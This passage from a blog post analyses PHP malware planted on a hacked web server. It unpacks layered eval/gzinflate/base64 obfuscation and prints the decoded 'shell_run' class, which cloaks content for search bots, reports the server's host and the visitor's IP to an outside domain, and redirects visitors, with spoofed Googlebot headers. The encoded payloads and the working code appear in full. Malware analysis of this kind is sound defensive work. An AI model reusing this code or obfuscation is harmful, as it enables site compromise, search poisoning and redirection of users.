jG3wuQbos5j5xaw5EDoUMW3CEcjxjjJ4grXtKL60FuohmFd9aacEb5Gl2ONZk4uLzihnkIR2hrEe9PZ7d1
0HXTrKPDedSUBPOR3l3mSXBKauguQOVpw2IUsGIH5ubXGcwKqVxd9qYM9n5Rp4E6eN9TXTDi8SYn1//+ef
Hvw=='\x29\x29\x29\x3B");
Clearly, applying the same obfuscation technique three times is even better, right? At least this time there are two separate eval() blocks. Let’s unstack the Russian dollars once more:
function doscdx45431($str) {
$a = "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65";
$b = "\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65";
return $b($a($str));
}
$a = "\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65";
$b = "\x67\x7a\x64\x65\x66\x6c\x61\x74\x65";
eval(doscdx45431("pVZbb9s2FH434P9AGEZkB77E6WWYPcf1ErUJkMaZLG8DgkCgZdoiIokqSS0Jhry1
w566t2Jb+zBge9vldRiwv5M0+xc7lGxLlt3U6wghJnku5HfOdw7T2fmkEzhBPieItCT1iOVSj8rSVrmVz9
U3N/M5tIke4VA6jKOhiJc2Cy45nTgSbW817qu9ej5nu1gIJBziuhYP/XzuaxDACMKhS21UxLakzEeojQqR
UqEVy+O/49CP5ZZlM19IHtqyVI5lU0dq0HGpaD3RzRPNdoh9pp2idhtN5+VELWWhBrEdhrQtGNXo01oZ+Q
UgLqc2r5JpMiv2AzoiHAAUpUNFdYeKT9miXTHkrgLoSBk06/VCrWj1deNz3TjR9k3z2Nrv9U3tNLVr6J8N
9L5pDYwD7bS18lQaqJilTZ72TN3q7u0ZCyYqNLMbthEEkJQzYSgOmQRXjTRQ4gqyWm3rvfGYAGUw5/gSsk
F8Sbh1ToaCSqLSgrR7tWHonglPBGc1n0htJbxkVq93+8f//Pzy5qe/U2dw8iwkQlpxYMlF4LIRKRU6hco7
gljOhCQCA6BVMDI4p5eWxAum/rVp4rTaXeBqhfqIeZj6llICS3AhZA3KqBOTvM1CaQWh3BA2p4G0fOyRNp
AhBeZkC9xsjIDo1J+030WUwoa8DEgbi2BjxCw6yjppnLaymBjc1ZciYakNir2A+KUs3nK2ClSVzB28jyT/
I3gPGi6OojUHRwOFjAYAOOoNdwQkFOANT8DrstIAVlb3iX5kakuB+Y/BKH4YITgZUU5smcCb7ayR6/VS7B
AMNV4qHDIbK7I1EVhkEKTqVfW21h1VdpXuwnHDV2MTTbvbfH397S83r36/ffP97evXVQhG3Gvm4kecyJD7
s3U909YXvKW4pOozDitEO/otaRPGJi4BgVbRsMPJWMRzT/jxhGJxJqLjtQrShpiOwmQpnp0z7qmZB6HHAe
bSJ1xUY69q/xI7jIGbr4aCqN8hpCV2LJgTVgXB3Ha0hb5OhRV3xTGGWkhJxowTbDulFA4sIlRL3TciLbgA
HkjmsnNI4h38zRISehkYwleKHVWiM7KHLF5WPQIZN1crSRLnbmbZWmBGmhPz173ZnFdSwpDbl39ef/fq5s
1vb3/94e2Pz6+/eXH9x1+KKnOaJ2yBtGAPefSCjKJaW5dHSQEryi/TyXa2AbjSsqhPs6/zvHeoR3qX+cDJ
QkohMoN/hFggS8pTBe0OjMPesXpaDisorjK0jr5CvK9393SjMmP1l9XHPeOLrrGn76lZ8+HD2vb9j2sf3a
ttNxrAvd3DA0h89eA4IymX17rh7LSIoGve0tDNgXFkGt2j/mNl21jbDtTBINUdV7W09S6uSB9xvpLKz5oX
MQ+e6r2BWdl+sGCQfgUjY3JB7Mh06Uq2ywRZEs3qIfMYQkXAN9sF5z45T2oi4lpn518="));
Now we’re starting to get somewhere, maybe. There’s a function definition, for some function named doscdx45431(). Maybe the “dos” is for denial of service? Let’s substitute the characters for the ASCII escape sequences again:
function doscdx45431($str) {
$a = "base64_decode";
$b = "gzinflate";
return $b($a($str));
}
$a = "base64_decode";
$b = "gzinflate";
eval(doscdx45431("pVZbb9s2FH434P9AGEZkB77E6WWYPcf1ErUJkMaZLG8DgkCgZdoiIokqSS0Jhry1
w566t2Jb+zBge9vldRiwv5M0+xc7lGxLlt3U6wghJnku5HfOdw7T2fmkEzhBPieItCT1iOVSj8rSVrmVz9
U3N/M5tIke4VA6jKOhiJc2Cy45nTgSbW817qu9ej5nu1gIJBziuhYP/XzuaxDACMKhS21UxLakzEeojQqR
UqEVy+O/49CP5ZZlM19IHtqyVI5lU0dq0HGpaD3RzRPNdoh9pp2idhtN5+VELWWhBrEdhrQtGNXo01oZ+Q
UgLqc2r5JpMiv2AzoiHAAUpUNFdYeKT9miXTHkrgLoSBk06/VCrWj1deNz3TjR9k3z2Nrv9U3tNLVr6J8N
9L5pDYwD7bS18lQaqJilTZ72TN3q7u0ZCyYqNLMbthEEkJQzYSgOmQRXjTRQ4gqyWm3rvfGYAGUw5/gSsk
F8Sbh1ToaCSqLSgrR7tWHonglPBGc1n0htJbxkVq93+8f//Pzy5qe/U2dw8iwkQlpxYMlF4LIRKRU6hco7
gljOhCQCA6BVMDI4p5eWxAum/rVp4rTaXeBqhfqIeZj6llICS3AhZA3KqBOTvM1CaQWh3BA2p4G0fOyRNp
AhBeZkC9xsjIDo1J+030WUwoa8DEgbi2BjxCw6yjppnLaymBjc1ZciYakNir2A+KUs3nK2ClSVzB28jyT/
I3gPGi6OojUHRwOFjAYAOOoNdwQkFOANT8DrstIAVlb3iX5kakuB+Y/BKH4YITgZUU5smcCb7ayR6/VS7B
AMNV4qHDIbK7I1EVhkEKTqVfW21h1VdpXuwnHDV2MTTbvbfH397S83r36/ffP97evXVQhG3Gvm4kecyJD7
s3U909YXvKW4pOozDitEO/otaRPGJi4BgVbRsMPJWMRzT/jxhGJxJqLjtQrShpiOwmQpnp0z7qmZB6HHAe
bSJ1xUY69q/xI7jIGbr4aCqN8hpCV2LJgTVgXB3Ha0hb5OhRV3xTGGWkhJxowTbDulFA4sIlRL3TciLbgA
HkjmsnNI4h38zRISehkYwleKHVWiM7KHLF5WPQIZN1crSRLnbmbZWmBGmhPz173ZnFdSwpDbl39ef/fq5s
1vb3/94e2Pz6+/eXH9x1+KKnOaJ2yBtGAPefSCjKJaW5dHSQEryi/TyXa2AbjSsqhPs6/zvHeoR3qX+cDJ
QkohMoN/hFggS8pTBe0OjMPesXpaDisorjK0jr5CvK9393SjMmP1l9XHPeOLrrGn76lZ8+HD2vb9j2sf3a
ttNxrAvd3DA0h89eA4IymX17rh7LSIoGve0tDNgXFkGt2j/mNl21jbDtTBINUdV7W09S6uSB9xvpLKz5oX
MQ+e6r2BWdl+sGCQfgUjY3JB7Mh06Uq2ywRZEs3qIfMYQkXAN9sF5z45T2oi4lpn518="));
Sigh… this is just a different way of performing another eval(gzinflate(base64_decode(…))), only this time a helper function is used, and the names of the functions are stored in strings. If we repeat the process one more time, to see what’s hidden in that encoded block of text, we finally hit paydirt:
?><?php set_time_limit(0); /** * @author bs * @copyright 2014 */ class shell_run { public $action = "shell"; function __construct() { if($_GET['check'] == 'check') { echo '0000-00-00'; exit(); } $Spider = $this->isBot(); $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ip = $_SERVER['REMOTE_ADDR']; if($Spider == true){ $bot = 1; }else{ $bot = 0; } $get_array['center_website'] = '3.bulksmspk.net'; //ASP风格 $request_url = explode("?",$_SERVER['REQUEST_URI']); if($bot == 1){ $center_temp_url = 'http://'.$get_array['center_website']."/domain_get_url_test.php? action=out_put&script_name=".$request_url[0]."&dstring=".$_SERVER['HTTP_HOST']."&type=asp&do_id=" .$request_url[1]; $contents = $this->curlOpen($center_temp_url); echo $contents; }else{ $center_temp_url = 'http://'.$get_array['center_website']."/51la.php? type=asp&ip=".$ip."&shell=".$_SERVER['HTTP_HOST']."&user_agent=".$_SERVER['HTTP_USER_AGENT']; $this->curlOpen($center_temp_url); $url = 'http://'.$get_array['center_website']."/domain_redirect.php? type=redirect&dstring=".$_SERVER['HTTP_HOST']."&do_id=".$request_url[1]; header("Location: ".$url); } exit; //ASP风格 } /** * isBot() * 判断蜘蛛-getSpider * @return */ function isBot() { $bot_array = array('googlebot','ahrefsbot','msnbot','iaskspider', 'baiduspider', 'sqworm', 'mediapartners-google', 'yahoo','vbseo','bingbot','sohu-search'); $is_bot = false; foreach($bot_array as $bot){ $agent = strtolower($_SERVER['HTTP_USER_AGENT']); if(strstr($agent,$bot)){ $is_bot = true; } } return $is_bot; } /** * shell_run::curlOpen() * 获取本站的内容-getHTTP_HOST * @param mixed $url * @return */ function curlOpen($url) { $ch2 = curl_init(); $user_agent = "ConBot"; curl_setopt($ch2, CURLOPT_URL, $url); curl_setopt($ch2, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.73.211', 'CLIENT-IP:66.249.73.211')); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER,'http://'.$_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_USERAGENT,$user_agent); curl_setopt($ch2, CURLOPT_TIMEOUT,25); $contents = curl_exec($ch2); curl_close($ch2); return $contents; } } $content = new shell_run(); ?>
I find it funny that this malware code includes a copyright notice. The script begins by calling set_time_limit(0), an attempt to disable any maximum limit on the execution time of the script. It then defines a class called shell_run. Finally, it constructs a new object of the shell_run class, and assigns it to the variable $content. As far as I can tell, $content is never used, but that probably doesn’t matter.
The real work happens in the constructor for shell_run. It attempts to determine whether whoever requested your.php (remember that’s what we’re looking at) is a web crawling bot used for building search indexes, like the Googlebot. Next it splits the request URI at the ‘?’ character, separating the name of the requested file (your.php in this case) from any other request parameters. If the requestor is a bot, the script then fetches:
http://3.bulksmspk.net/domain_get_url_test.php?
action=out_put&script_name=your.php&dstring=[HTTP_HOST]&type=asp&do_id=[PARAMS]
where HTTP_HOST is the name of the web server, and PARAMS are any parameters that were passed by the original requestor. The result of this fetch is then echoed. Does the echoed text get PHP eval’d by one of the enclosing eval() calls, or does it simply get returned to the requestor as the HTML result? I’ve lost track.
If the requestor is not a bot, then the script fetches:
http://3.bulksmspk.net/51la.php?type=asp&ip=[IP]&shell=[HTTP_HOST]&user_agent=[HTTP_USER_AGENT]
where IP is the web server’s IP address, HTTP_HOST is its name, and HTTP_USER_AGENT is the requestor’s user agent string – something like Safari, Chrome, or Firefox. Interestingly, the script doesn’t do anything with the result of the fetch, so the purpose of this call is probably just to log something on the 3.bulksmspk.net server. The script then constructs a new URL:
http://3.bulksmspk.net/domain_redirect.php?type=redirect&dstring=[HTTP_HOST]&do_id=[PARAMS];
and then calls the PHP header() function, which generates an HTML response for the requestor instructing it to redirect to this new URL.
Huh?
So at the end of the day, what does all of this stuff do, exactly? I honestly don’t know. The file your.php isn’t likely to be linked by the site’s normal content, so it’s not clear how a web crawling robot would ever encounter it. Nor would a casual visitor to the site ever end up requesting your.php either. The only person likely to ever request this file is the hacker himself. It will log some information about the infected web server to 3.bulksmspk.net, and then redirect the requestor to another page on that site. As far as I can tell, it doesn’t actually do anything bad to the requestor or to the infected web server. Despite the name “shell_run”, it certainly doesn’t look like it’s running anything in a command shell. Maybe logging some information is all that your.php is designed to do, and I’ll have to dig into the other PHP scripts to learn what else this hack involves.
Read 2 comments and join the conversation